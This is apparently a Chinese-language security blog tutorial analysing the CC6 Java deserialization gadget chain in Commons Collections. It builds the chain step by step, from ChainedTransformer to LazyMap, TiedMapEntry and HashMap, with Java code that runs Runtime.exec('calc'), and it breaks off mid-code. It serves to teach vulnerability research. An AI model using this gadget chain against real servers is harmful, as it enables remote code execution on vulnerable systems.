Java反序列化漏洞-CC6链分析

CC6利用链分析

经过之前对CC1链和URLDNS链的分析，现在已经对反序列化利用链有了初步的认识，这次来分析一个最好用的CC利用链——CC6。

为什么CC6是最好用的CC利用链，因为CC6不限制jdk版本，只要commons collections 小于等于3.2.1，都存在这个漏洞。

前置知识1. 回顾CC1

根据之前对CC1链的分析，可以知道用ChainedTransformer配合InvokerTransformer可以进行命令执行。具体原理请看我之前文章的第二节的1~4小节的内容。

Transformer[] transformers = {        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer ct = new ChainedTransformer(transformers);ct.transform("1");

2. 高版本jdk的修改

在jdk8u_71之后，AnnotationInvocationHandler类被重写了，修改了readObject方法，里面没有了setValue方法。

这是jdk17.0.9的sun.reflect.annotation.AnnotationInvocationHandler#readObject的readObject方法

第593行新建了一个名为mv的LinkedHashMap，然后mv的数据在第597行开始通过for循环里面的逻辑给mv添加值，所有的操作都是基于这个新建的LinkedHashMap操作的，所以至此利用链就断开了，无法按照我们的预期进行，所以需要寻找新的利用链了。

寻找新利用链1. LazyMap

右键查找ChainedTransformer的transform方法的用法，定位到LazyMap的get方法

LazyMap关键代码，可以通过LazyMap的get方法调用ChainedTransformer的transform方法

protected final Transformer factory;public static Map decorate(Map map, Factory factory) {    return new LazyMap(map, factory);}public Object get(Object key) {        // create value for key if key is not currently in the map        if (map.containsKey(key) == false) {            Object value = factory.transform(key);            map.put(key, value);            return value;        }        return map.get(key);    }

可以通过decorate传值，生成一个LazyMap对象。

成功命令执行

Transformer[] transformers = {        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer ct = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap(), ct);lazymap.get("1");

接下来继续寻找入口点

2. TiedMapEntry

ysoserial的作者找到了TiedMapEntry这条链，TiedMapEntry关键代码

public Object getValue() {    return map.get(key);}public int hashCode() {    Object value = getValue();    return (getKey() == null ? 0 : getKey().hashCode()) ^           (value == null ? 0 : value.hashCode()); }

TiedMapEntry的hashCode方法调用了getValue，getValue调用了get方法，所以可以用TiedMapEntry的hashCode方法调用LazyMap的get方法

成功命令执行

Transformer[] transformers = {        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer ct = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap(), ct);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");tiedMapEntry.hashCode();

接下来寻找谁调用了hashCode方法

3. HashMap

通过之前对URLDNS链的研究可知，HashMap的readObject方法有如下这行语句

putVal(hash(key), key, value, false, false);

而HashMap的hash方法调用了hashCode方法

static final int hash(Object key) {    int h;    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

而key的值是从readObject获取的

K key = (K) s.readObject();

序列化时可以用HashMap的put方法传key和value

hashMap.put(tiedMapEntry, "1");

但是HashMap的put方法会提前调用hash方法，导致提前走完流程

public V put(K key, V value) {    return putVal(hash(key), key, value, false, true);}

试一下HashMap.put

Transformer[] transformers = {        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer ct = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap(), ct);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");HashMap